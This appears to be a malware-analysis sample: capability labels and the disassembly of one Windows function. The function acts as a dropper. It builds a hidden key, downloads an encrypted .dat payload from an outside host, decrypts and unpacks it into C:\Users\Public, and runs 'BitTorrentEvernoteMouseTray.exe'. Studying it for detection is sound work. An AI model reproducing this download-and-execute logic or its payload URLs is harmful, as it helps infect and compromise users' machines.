Function at 0x403c40
Capabilities:
Contain obfuscated stackstrings
Create http request
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557acb
mov eax, dword fs:[0]
push eax
sub esp, 0x4ec
mov eax, dword [0x5b8584]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x4dc], ecx
mov ecx, 9
mov esi, str.https:__www.dherherbshgedsbvfsvb.uk
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x4c], eax
push 0
push 0x84000000
push 0
push 0
lea eax, [ebp - 0x74]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jne 0x403ea9
mov byte [ebp - 0x4d8], 0x35
mov byte [ebp - 0x4d7], 0x42
mov byte [ebp - 0x4d6], 0x31
mov byte [ebp - 0x4d5], 0x38
mov byte [ebp - 0x4d4], 0x43
mov byte [ebp - 0x4d3], 0x33
mov byte [ebp - 0x4d2], 0x41
mov byte [ebp - 0x4d1], 0x44
mov byte [ebp - 0x4d0], 0x38
mov byte [ebp - 0x4cf], 0x43
mov byte [ebp - 0x4ce], 0x46
mov byte [ebp - 0x4cd], 0x52
mov byte [ebp - 0x4cc], 0x34
mov byte [ebp - 0x4cb], 0x44
mov byte [ebp - 0x4ca], 0x33
mov byte [ebp - 0x4c9], 0x39
mov byte [ebp - 0x4c8], 0
lea ecx, [ebp - 0x4c4]
call fcn.00401f30
mov dword [ebp - 4], 0
push str.C:ProgramDataen.dat
lea ecx, [ebp - 0x2c]
call fcn.00402440
mov byte [ebp - 4], 1
push str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnbTNNa1Y2aDc3eUJtcDh4P2U9ekFsR0tq.dat
lea ecx, [ebp - 0x48]
call fcn.00402440
mov byte [ebp - 4], 2
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x4c4]
call fcn.00402230
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x48]
call fcn.004024c0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2c]
call fcn.004024c0
lea ecx, [ebp - 0x4c4]
call fcn.00402050
lea ecx, [ebp - 0x4d8]
push ecx
push str.C:ProgramDatade.dat
push str.C:ProgramDataen.dat
call fcn.00403a00
add esp, 0xc
push str.C:ProgramDatade.dat
push str.C:UsersPublic
call fcn.00403b00
add esp, 8
mov dword [ebp - 0x4e0], str.BitTorrentEvernoteMouseTray.exe
mov edx, dword [ebp - 0x4e0]
mov dword [ebp - 0x4e4], edx
mov eax, dword [ebp - 0x4e0]
mov cl, byte [eax]
mov byte [ebp - 0x4e5], cl
add dword [ebp - 0x4e0], 1
cmp byte [ebp - 0x4e5], 0
jne 0x403ddd
mov edx, dword [ebp - 0x4e0]
sub edx, dword [ebp - 0x4e4]
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x4f0], edx
mov ecx, str.C:UsersPublic
add ecx, 0xffffffff
mov dword [ebp - 0x4f4], ecx
mov edx, dword [ebp - 0x4f4]
mov al, byte [edx + 1]
mov byte [ebp - 0x4f5], al
add dword [ebp - 0x4f4], 1
cmp byte [ebp - 0x4f5], 0
jne 0x403e27
mov edi, dword [ebp - 0x4f4]
mov esi, dword [ebp - 0x4ec]
mov edx, dword [ebp - 0x4f0]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 5
push 0
push 0x56634a
push str.C:UsersPublic
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov eax, dword [ebp - 0x4c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 0x78]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x4c4]
call fcn.00401fe0
jmp 0x403ebd
mov edx, dword [ebp - 0x4c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x78]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050342b
mov esp, ebp
pop ebp
ret